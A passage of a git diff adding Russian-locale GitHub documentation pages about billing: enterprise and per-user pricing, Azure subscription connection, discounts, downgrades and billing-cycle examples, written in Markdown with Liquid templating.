variables.product.prodname_dotcom %}](/articles/managing-billing-for-your-github-account). + +Вы можете приобрести другие функции и продукты с использованием существующей платежной информации {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Сведения о выставлении счетов за {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github). + +{% data reusables.accounts.accounts-billed-separately %} + +{% data reusables.user-settings.context_switcher %} + +{% tip %} + +**Совет**. {% data variables.product.prodname_dotcom %} имеет программы для подтвержденных учащихся и преподавателей, которые включают в себя скидки для сферы образования. Дополнительные сведения см. на портале [{% data variables.product.prodname_education %}](https://education.github.com/). + +{% endtip %} + + diff --git a/translations/ru-RU/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md new file mode 100644 index 000000000000..8193a24ee464 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md @@ -0,0 +1,81 @@ +--- +title: About billing for your enterprise +intro: 'You can view billing information for your enterprise{% ifversion ghec or ghes %} account on {% data variables.product.prodname_dotcom_the_website %}{% endif %}.' +redirect_from: + - /admin/overview/managing-billing-for-your-enterprise + - /enterprise/admin/installation/managing-billing-for-github-enterprise + - /enterprise/admin/overview/managing-billing-for-github-enterprise + - /admin/overview/managing-billing-for-github-enterprise +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Enterprise +shortTitle: Billing for your enterprise +--- + +## About billing for your enterprise + +{% ifversion ghae %} + +{% data reusables.github-ae.about-billing %} Once per day, {% data variables.product.prodname_dotcom %} will count the number of users with a license for your enterprise. {% data variables.product.company_short %} bills you for each licensed user regardless of whether the user logged into {% data variables.product.prodname_ghe_managed %} that day. + +For commercial regions, the price per user per day is $1.2580645161. For 31-day months, the monthly cost for each user is $39. For months with fewer days, the monthly cost is lower. Each billing month begins at a fixed time on the first day of the calendar month. + +If you add a licensed user mid-month, that user will only be included in the count for the days they have a license. When you remove a licensed user, that user will remain in the count until the end of that month. Therefore, if you add a user mid-month and later remove the user in the same month, the user will be included in the count from the day the user was added through the end of the month. There is no additional cost if you re-add a user during the same month the user was removed. + +For example, here are the costs for users with licenses on different dates. + +User | License dates | Counted days | Cost +---- | ------------ | ------- | ----- +@octocat | January 1 - January 31 | 31 | $39 +@robocat | February 1 - February 28 | 28 | $35.23 +@devtocat | January 15 - January 31 | 17 | $21.39 +@doctocat | January 1 - January 15 | 31 | $39 +@prodocat | January 7 - January 15 | 25 | $31.45 +@monalisa | January 1 - January 7,
January 15 - January 31 | 31 | $39 + +{% data variables.product.prodname_ghe_managed %} has a 500-user minimum per instance. {% data variables.product.company_short %} bills you for a minimum of 500 users per instance, even if there are fewer than 500 users with a license that day. + +You can see your current usage in your [Azure account portal](https://portal.azure.com). + +{% elsif ghec or ghes %} + +{% ifversion ghec %} + +When you use an enterprise account on {% data variables.location.product_location %}, the enterprise account is the central point for all billing within your enterprise, including the organizations that your enterprise owns. + +If you use {% data variables.product.product_name %} with an individual organization and do not yet have an enterprise account, you create an enterprise account and add your organization. For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)." + +{% data variables.product.company_short %} bills monthly for the total number of licensed seats for your enterprise account, as well as any additional services you use with {% data variables.product.prodname_ghe_cloud %}, such as {% data variables.product.prodname_actions %} minutes. If you use a standalone organization on {% data variables.product.product_name %}, you'll be billed at the organization level for all usage. For more information your bill's license seats, see "[About per-user pricing](/billing/managing-billing-for-your-github-account/about-per-user-pricing)." + +{% elsif ghes %} + +Each user on {% data variables.location.product_location %} consumes a seat on your license. {% data variables.product.company_short %} bills monthly for the total number of seats consumed on your license. + +{% endif %} + +{% ifversion ghec %}For {% data variables.product.prodname_ghe_cloud %} customers with an enterprise account, {% data variables.product.company_short %} bills through your enterprise account on {% data variables.product.prodname_dotcom_the_website %}. For invoiced customers, each{% elsif ghes %}For invoiced {% data variables.product.prodname_enterprise %} customers, {% data variables.product.company_short %} bills through an enterprise account on {% data variables.product.prodname_dotcom_the_website %}. Each{% endif %} invoice includes a single bill charge for all of your paid {% data variables.product.prodname_dotcom_the_website %} services and any {% data variables.product.prodname_ghe_server %} instances. For more information about {% ifversion ghes %}licensing, usage, and invoices{% elsif ghec %}usage and invoices{% endif %}, see the following{% ifversion ghes %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} + +{%- ifversion ghes %} +- "[About per-user pricing](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/about-per-user-pricing)" +{%- endif %} +- "[Viewing the subscription and usage for your enterprise account]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" +- "[Managing invoices for your enterprise]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise)" + +Administrators for your enterprise account on {% data variables.product.prodname_dotcom_the_website %} can access and manage billing for the enterprise. For more information, see "[Roles in an enterprise]({% ifversion ghes %}/enterprise-cloud@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise){% ifversion ghec %}."{% elsif ghes %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} + +{% ifversion ghec %} +{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)." +{% endif %} + +{% ifversion ghes %} +{% data reusables.billing.ghes-with-no-enterprise-account %} +{% endif %} + +{% endif %} +## Further reading + +- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)" diff --git a/translations/ru-RU/content/billing/managing-billing-for-your-github-account/about-per-user-pricing.md b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/about-per-user-pricing.md new file mode 100644 index 000000000000..57706ab231d6 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/about-per-user-pricing.md @@ -0,0 +1,155 @@ +--- +title: About per-user pricing +intro: '{% ifversion fpt or ghec %}For organizations{% ifversion ghec %} and enterprises{% endif %}, your {% else %}Your {% endif %}bill begins with the number of licensed seats you choose.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/about-per-user-pricing + - /articles/about-per-user-pricing + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/about-per-user-pricing +versions: + fpt: '*' + ghec: '*' + ghes: '*' +type: overview +topics: + - Downgrades + - Enterprise + - Licensing + - Organizations +--- + +## About per-user pricing + +{% ifversion fpt %} + +New organizations on {% data variables.product.prodname_dotcom_the_website %} can build public and open-source projects with {% data variables.product.prodname_free_team %}, or upgrade to a paid product with per-user pricing. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)" and "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription)." + +Organizations using a paid subscription before May 11, 2016 can choose to stay on their existing per-repository plan or switch to per-user pricing. {% data variables.product.company_short %} will notify you twelve months before any mandated change to your subscription. For more information on switching your subscription, see "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription)." + +{% else %} + +The foundation of your bill is the number of standard licensed seats that you choose for your{% ifversion ghec %} organization or{% endif %} enterprise. + +{% data reusables.enterprise-licensing.unique-user-licensing-model %} + +To ensure the same user isn't consuming more than one license for multiple enterprise deployments, you can synchronize license usage between your {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} environments. For more information, see "[About licenses for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)." + +In addition to licensed seats, your bill may include other charges, such as {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[About billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)." +{% endif %} + +## People that consume a license + +{% ifversion fpt %} + +{% data variables.product.company_short %} bills for the following people: + +- Organization members, including owners +- Outside collaborators on private repositories owned by your organization, excluding forks +- Anyone with a pending invitation to become an outside collaborator on private or internal repositories owned by your organization, excluding forks +- Dormant users + +{% note %} + +**Notes:** +- {% data variables.product.company_short %} counts each outside collaborator once for billing purposes, even if the user account has access to multiple repositories owned by your organization. +- {% data reusables.organizations.org-invite-scim %} + +{% endnote %} + +{% data variables.product.company_short %} does not bill for the following people: + +- Billing managers +- Anyone with a pending invitation to become a billing manager +- Anyone with a pending invitation to become an outside collaborator on a public repository owned by your organization + +{% else %} + +{% data variables.product.company_short %} bills for the following accounts for each deployment of {% data variables.product.prodname_enterprise %}. + +### Accounts that consume a license on {% data variables.product.prodname_ghe_cloud %} + +{% data variables.product.company_short %} bills for each of the following accounts on {% data variables.product.prodname_ghe_cloud %}: + +- Enterprise owners who are a member or owner of at least one organization in the enterprise +- Organization members, including owners +- Outside collaborators on private or internal repositories owned by your organization, excluding forks +- Dormant users + +If your enterprise does not use {% data variables.product.prodname_emus %}, you will also be billed for each of the following accounts: + +- Anyone with a pending invitation to become an organization owner or member +- Anyone with a pending invitation to become an outside collaborator on private or internal repositories owned by your organization, excluding forks + +{% note %} + +**Notes:** + - {% data variables.product.company_short %} counts each member or outside collaborator once for billing purposes, even if the user account has membership in multiple organizations in an enterprise or access to multiple repositories owned by your organization. + - {% data reusables.organizations.org-invite-scim %} + +{% endnote %} + +{% data variables.product.company_short %} does not bill for any of the following accounts: + +- {% data variables.enterprise.prodname_managed_users_caps %} that are suspended +- Enterprise owners who are not a member or owner of at least one organization in the enterprise +- Enterprise billing managers +- Billing managers for individual organizations +- Anyone with a pending invitation to become a billing manager +- Anyone with a pending invitation to become an outside collaborator on a public repository owned by your organization + +### Accounts that consume a license on {% data variables.product.prodname_ghe_server %} + +Each user account on {% data variables.product.prodname_ghe_server %} consumes a seat. + +Suspended users are not counted when calculating the number of licensed users consuming seats. For more information, see "[Suspending and unsuspending users]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %} + +Dormant users do occupy a seat license. As such, you can choose to suspend dormant users to release user licenses. For more information, see "[Managing dormant users]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users){% ifversion not ghes %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}."{% endif %} + +{% endif %} + +## About changes to your subscription + +{% ifversion fpt %} + +You can change your {% data variables.product.prodname_dotcom %} subscription at any time. + +### About changes for organizations on per-user plans + +{% endif %} + +You can add more licensed seats to your {% ifversion fpt or ghec %} organization{% endif %}{% ifversion ghec %} or{% endif %}{% ifversion ghec or ghes %} enterprise{% endif %} at any time. If you pay for more seats than are being used, you can also reduce the number of seats.{% ifversion fpt %} For more information, see "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription)" and "[Downgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription)." + +If you have questions about your subscription, contact {% data variables.contact.contact_support %}. + +To further support your team's collaboration abilities, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes features like SAML single sign-on and advanced auditing. {% data reusables.enterprise.link-to-ghec-trial %} + +For more information about per-user pricing for {% data variables.product.prodname_ghe_cloud %}, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/about-per-user-pricing). + +{% else %} + +If you use an enterprise account on {% data variables.product.prodname_dotcom_the_website %} and have questions about changes to your subscription, contact {% data variables.contact.contact_enterprise_sales %}. + +{% endif %} +{% ifversion ghec %} + +If you use an individual organization on {% data variables.product.prodname_ghe_cloud %}, you can upgrade or downgrade your subscription. For more information, see "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription)" or "[Downgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription)." If you have questions about your subscription, contact {% data variables.contact.contact_support %}. + +{% endif %} + +{% ifversion fpt %} + +### About changes for organizations on per-repository plans + +You can upgrade or downgrade between legacy paid plans in your organization's billing settings. When you upgrade to a plan with more private repositories, {% data variables.product.company_short %} immediately moves your account to your new plan and bills you for the difference in price, prorated for the number of days left in your billing cycle. + +When you downgrade to a legacy paid plan with fewer private repositories, your new plan will take effect on your next billing date. If you have more private repositories than your new plan allows for, your private repositories will be locked when your new plan takes effect. To reduce your number of private repositories, you can make some of your private repositories public, or you can clone your private repositories locally and delete the copies on {% data variables.product.prodname_dotcom %}. + +{% endif %} + +## Further reading + +{%- ifversion not fpt %} +- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)" +- "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)" +{%- endif %} +- "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" +- "[Adding outside collaborators to repositories in your organization](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)." diff --git a/translations/ru-RU/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md new file mode 100644 index 000000000000..143ea84f183f --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md @@ -0,0 +1,57 @@ +--- +title: Connecting an Azure subscription to your enterprise +intro: 'You can use your Microsoft Enterprise Agreement to enable and pay for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_github_codespaces %} usage.' +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/connecting-an-azure-subscription-to-your-enterprise + - /github/setting-up-and-managing-billing-and-payments-on-github/connecting-an-azure-subscription-to-your-enterprise + - /github/setting-up-and-managing-your-enterprise/connecting-an-azure-subscription-to-your-enterprise +versions: + ghec: '*' +shortTitle: Connect an Azure subscription +--- +## About Azure subscriptions and {% data variables.product.product_name %} + +{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions) and "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)." + +{% note %} + +**Note:** If your enterprise account is on a Microsoft Enterprise Agreement, connecting an Azure subscription is the only way to use {% data variables.product.prodname_actions %} and {% data variables.product.prodname_registry %} beyond the included amounts, or to use {% data variables.product.prodname_github_codespaces %} at all. + +{% endnote %} + +After you connect an Azure subscription, you can also manage your spending limits. + +- "[Managing your spending limit for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages)" +- "[Managing your spending limit for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions)" +- "[Managing your spending limit for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)" + +## Connecting your Azure subscription to your enterprise account + +To connect your Azure subscription, you must have owner permissions to the subscription. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.billing-tab %} +{% data reusables.enterprise-accounts.payment-information-tab %} +1. Under "Payment Information", click **Add Azure Subscription**. +1. To sign in to your Microsoft account, follow the prompts. +1. Review the "Permissions requested" prompt. If you agree with the terms, click **Accept**. +1. Under "Select a subscription", select the Azure Subscription ID that you want to connect to your enterprise. + + {% note %} + + **Note:** {% data variables.product.company_short %}'s Subscription Permission Validation requests read-only access to display the list of available subscriptions. To select an Azure subscription, you must have owner permissions to the subscription. If the default tenant does not have the right permissions, you may need to specify a different tenant ID. For more information, see [Microsoft identity platform and OAuth 2.0 authorization code flow](https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow#request-an-authorization-code) in Microsoft Docs. + + {% endnote %} +1. Click **Connect**. + +## Disconnecting your Azure subscription from your enterprise account + +After you disconnect your Azure subscription from your enterprise account, your usage can no longer exceed the amounts included with your plan. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.billing-tab %} +{% data reusables.enterprise-accounts.payment-information-tab %} +1. Under "Azure subscription", to the right of the subscription ID you want to disconnect, click **{% octicon "trash" aria-label="The trash icon" %}**. +1. Review the prompt, then click **Remove**. diff --git a/translations/ru-RU/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md new file mode 100644 index 000000000000..2afc1af64770 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md @@ -0,0 +1,51 @@ +--- +title: Скидки на подписки для учетных записей GitHub +intro: '{% data variables.product.product_name %} предоставляет скидки учащимся, преподавателям, учебным заведениям, некоммерческим организациям и библиотекам.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts + - /articles/discounted-personal-accounts + - /articles/discounted-organization-accounts + - /articles/discounted-billing-plans + - /articles/discounted-subscriptions-for-github-accounts + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Accounts + - Education + - Discounts + - Nonprofits + - User account +shortTitle: Discounted subscriptions +ms.openlocfilehash: ba3dc51e5619bc8ef660e3743bd866cfa83337c3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147573727' +--- +{% tip %} + +**Совет**. Скидки для {% data variables.product.prodname_dotcom %} не применяются к подпискам для других платных продуктов и функций. + +{% endtip %} + +## Скидки для личных учетных записей + +Кроме неограниченных общедоступных и частных репозиториев для учащихся и преподавателей с планом {% data variables.product.prodname_free_user %}, подтвержденные учащиеся могут подать заявку на {% data variables.product.prodname_student_pack %} для получения дополнительных преимуществ от партнеров {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Заявка на {% data variables.product.prodname_global_campus %} в качестве учащегося](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student). + +## Скидки для школ и университетов + +Подтвержденный преподавательский состав может подать заявку на план {% data variables.product.prodname_team %} для преподавания или научных исследований. Дополнительные сведения см. в разделе [{% data variables.product.prodname_global_campus %} для преподавателей](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers). Вы также можете запросить учебные материалы для учащихся. Дополнительные сведения см. на портале [{% data variables.product.prodname_education %}](https://education.github.com/). + +## Скидки для некоммерческих организаций и библиотек + +{% data variables.product.product_name %} предоставляет бесплатный план {% data variables.product.prodname_team %} для организаций с неограниченными частными репозиториями, неограниченными участниками совместной работы и полным набором функций для библиотек и организаций типа 501(c)3 (или эквивалентного). Вы можете запросить скидку для своей организации на [нашей странице для некоммерческих организаций](https://github.com/nonprofit). + +Если у вашей организации уже есть платная подписка, после применения скидки для некоммерческих организаций последняя финансовая транзакция вашей организации будет возвращена. + +## Дополнительные материалы + +- [Сведения о выставлении счетов в {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github) diff --git a/translations/ru-RU/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md new file mode 100644 index 000000000000..176c67366793 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md @@ -0,0 +1,109 @@ +--- +title: Понижение уровня подписки GitHub +intro: 'Вы можете в любое время понизить уровень подписки для учетной записи любого типа на {% data variables.location.product_location %}.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-your-github-subscription + - /articles/downgrading-your-personal-account-s-billing-plan + - /articles/how-do-i-cancel-my-account + - /articles/downgrading-a-user-account-to-free + - /articles/removing-paid-seats-from-your-organization + - /articles/downgrading-your-organization-s-paid-seats + - /articles/downgrading-your-organization-s-billing-plan + - /articles/downgrading-an-organization-with-per-seat-pricing-to-free + - /articles/downgrading-an-organization-with-per-repository-pricing-to-free + - /articles/downgrading-your-organization-to-free + - /articles/downgrading-your-organization-from-the-business-plan-to-the-team-plan + - /articles/downgrading-your-organization-from-github-business-cloud-to-the-team-plan + - /articles/downgrading-your-github-billing-plan + - /articles/downgrading-your-github-subscription + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/downgrading-your-github-subscription +versions: + fpt: '*' + ghec: '*' +topics: + - Accounts + - Downgrades + - Organizations + - Repositories + - User account +shortTitle: Downgrade subscription +ms.openlocfilehash: e302fb715fc2937c7ed056b813b073a66a7cc1fa +ms.sourcegitcommit: fdc4466e89467a7b13239e26c6042dc1428946b6 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163787' +--- +## Понижение уровня подписки {% data variables.product.product_name %} + +При понижении уровня личной учетной записи или подписки организации изменения в ценах и функциях учетной записи вступают в силу в следующую дату выставления счетов. Изменения в платной личной учетной записи или подписке организации не влияют на подписки или платежи за другие платные функции {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Как обновление или понижение уровня влияет на процесс выставления счетов?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process). + +## Понижение уровня подписки личной учетной записи + +При понижении уровня личной учетной записи с {% data variables.product.prodname_pro %} на {% data variables.product.prodname_free_user %} учетная запись потеряет доступ к расширенным средствам проверки кода в частных репозиториях. {% data reusables.gated-features.more-info %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} +1. В разделе "Текущий план" откройте раскрывающийся список **Изменить** и выберите **Понизить уровень до бесплатного**. + ![Кнопка "Понизить уровень до бесплатного"](/assets/images/help/billing/downgrade-to-free.png) +5. Ознакомьтесь со сведениями о функциях, к которым ваша личная учетная запись потеряет доступ в дату следующего выставления счета, а затем нажмите кнопку **Понятно. Продолжить понижение уровня**. + ![Кнопка "Продолжить понижение уровня"](/assets/images/help/billing/continue-with-downgrade.png) + +Если вы опубликовали сайт {% data variables.product.prodname_pages %} в частном репозитории и добавили личный домен, удалите или обновите записи DNS перед понижением уровня с {% data variables.product.prodname_pro %} на {% data variables.product.prodname_free_user %}, чтобы избежать риска перехвата домена. Дополнительные сведения см. в разделе [Управление личным доменом для сайта {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site). + +## Понижение уровня подписки организации + +{% data reusables.dotcom_billing.org-billing-perms %} + +При понижении уровня организации с {% data variables.product.prodname_team %} на {% data variables.product.prodname_free_team %} учетная запись потеряет доступ к расширенным средствам совместной работы и управления для команд. + +При понижении уровня организации с {% data variables.product.prodname_ghe_cloud %} на {% data variables.product.prodname_team %} или {% data variables.product.prodname_free_team %} учетная запись потеряет доступ к расширенным элементам управления безопасностью, соответствием и развертыванием. {% data reusables.gated-features.more-info %} + + + +{% note %} + +**Примечания.** + - Если ваша организация принадлежит корпоративной учетной записи, управление выставлением счетов на уровне организации невозможно. Чтобы перейти на более раннюю версию, сначала необходимо удалить организацию из корпоративной учетной записи. Дополнительные сведения см. в разделе [Удаление организаций из предприятия](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise). + - Если вы сейчас пробно используете {% data variables.product.prodname_ghe_cloud %} и не приобрели {% data variables.product.prodname_enterprise %} до окончания пробной версии, ваша организация будет автоматически понижена до {% data variables.product.prodname_free_team %} или {% data variables.product.prodname_team %}. Дополнительные сведения см. в разделе [Настройка пробной версии {% data variables.product.prodname_ghe_cloud %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud#finishing-your-trial). + +{% endnote %} + +{% data reusables.organizations.billing-settings %} +1. В разделе "Текущий план" откройте раскрывающийся список **Изменить** и выберите желаемый вариант понижения версии. + ![Кнопка "Понизить уровень"](/assets/images/help/billing/downgrade-option-button.png) {% data reusables.dotcom_billing.confirm_cancel_org_plan %} + +## Понижение уровня подписки организации с устаревшими ценами на репозитории + +{% data reusables.dotcom_billing.org-billing-perms %} + +{% data reusables.dotcom_billing.switch-legacy-billing %} Дополнительные сведения см. в разделе [Переход с расценок за репозитории на расценки за пользователей для организации](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#switching-your-organization-from-per-repository-to-per-user-pricing). + +{% data reusables.organizations.billing-settings %} +5. В разделе "Подписки" откройте раскрывающийся список "Изменить" и выберите **Изменить план**. + ![Раскрывающийся список "Изменить план"](/assets/images/help/billing/edit-plan-dropdown.png) +1. В разделе "Выставление счетов/планы" нажмите кнопку **Понизить уровень** рядом с планом, который вы хотите изменить. + ![Кнопка «Понизить уровень»](/assets/images/help/billing/downgrade-plan-option-button.png) +1. Введите причину понижения уровня учетной записи и нажмите кнопку **Понизить уровень плана**. + ![Текстовое поле для описания причины понижения уровня и кнопка "Понизить уровень"](/assets/images/help/billing/downgrade-plan-button.png) + +## Удаление платных рабочих мест из организации + +Чтобы уменьшить количество платных рабочих мест, которые использует организация, можно удалить участников из организации или преобразовать участников во внешних участников совместной работы и предоставить им доступ только к общедоступным репозиториям. Дополнительные сведения см. в разделе: +- [Удаление участника из организации](/articles/removing-a-member-from-your-organization) +- [Преобразование участника организации во внешнего участника совместной работы](/articles/converting-an-organization-member-to-an-outside-collaborator) +- [Управление доступом пользователя к репозиторию организации](/articles/managing-an-individual-s-access-to-an-organization-repository) + +{% data reusables.organizations.billing-settings %} +1. В разделе "Текущий план" откройте раскрывающийся список **Изменить** и выберите **Удалить рабочие места**. + ![Раскрывающийся список "Удалить рабочие места"](/assets/images/help/billing/remove-seats-dropdown.png) +1. В разделе "Удалить рабочие места" выберите количество мест, на которое вы хотите перейти. + ![Пункт "Удалить рабочие места"](/assets/images/help/billing/remove-seats-amount.png) +1. Просмотрите сведения о новом платеже в следующую дату выставления счетов, а затем нажмите кнопку **Удалить рабочие места**. + ![Кнопка "Удалить рабочие места"](/assets/images/help/billing/remove-seats-button.png) + +## Дополнительные материалы + +- [Продукты {% data variables.product.prodname_dotcom %}](/articles/github-s-products) +- [Как обновление или понижение уровня влияет на процесс выставления счетов?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process) +- [Сведения о выставлении счетов в {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github). +- [Сведения о расценках за пользователей](/articles/about-per-user-pricing) diff --git a/translations/ru-RU/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md new file mode 100644 index 000000000000..347ae50853bd --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md @@ -0,0 +1,50 @@ +--- +title: Как обновление или понижение уровня влияет на процесс выставления счетов? +intro: При обновлении подписки для личной учетной записи или организации изменения будут применены немедленно. При понижении уровня подписки изменения будут применены в конце текущего цикла выставления счетов. +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/how-does-upgrading-or-downgrading-affect-the-billing-process + - /articles/how-does-upgrading-or-downgrading-affect-the-billing-process + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Fundamentals + - Organizations + - Upgrades + - User account +shortTitle: Billing process +ms.openlocfilehash: 9908e230f5b34b00ee7e62865a26a4796632c329 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145087927' +--- +Изменения в подписке для платной личной учетной записи или организации не влияют на подписки или платежи за другие платные функции {% data variables.product.prodname_dotcom %}, такие как {% data variables.large_files.product_name_long %} или платные приложения, приобретенные в {% data variables.product.prodname_marketplace %}. + +Дополнительные сведения см. в разделе "[{% data variables.product.prodname_dotcom %}"](/articles/github-s-products) и "[О выставлении счетов в {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)". + +## Пример отмены платной подписки для личной учетной записи или организации + +Кумико платит за ежемесячную подписку 5-го числа каждого месяца. Если Кумико переходит с платной подписки на {% data variables.product.prodname_free_user %} 10 октября, ее платная подписка останется в силе до конца ее текущего цикла выставления счетов 4 ноября. 5 ноября ее учетная запись перейдет на {% data variables.product.prodname_free_user %}. + +## Пример перехода с ежегодной на ежемесячную подписку для личной учетной записи или организации + +Рави оплачивает годовую подписку каждый год 5 октября. Если Рави перейдет с ежегодного на ежемесячное выставление счетов 10 декабря, его учетная запись останется на ежегодной подписке до окончания его текущего цикла выставления счетов — 4 октября следующего года. С 5 октября следующего года плата с Рави будет взиматься ежемесячно. В следующий раз счет ему будет выставлен 5 ноября. + +## Пример добавления платных рабочих мест в организацию + +Организация Мады платит за 25 мест 15-го числа каждого месяца. Если Мада добавит десять платных мест 4 июня, ее организации немедленно будет выставлен счет на пропорциональную сумму за десять 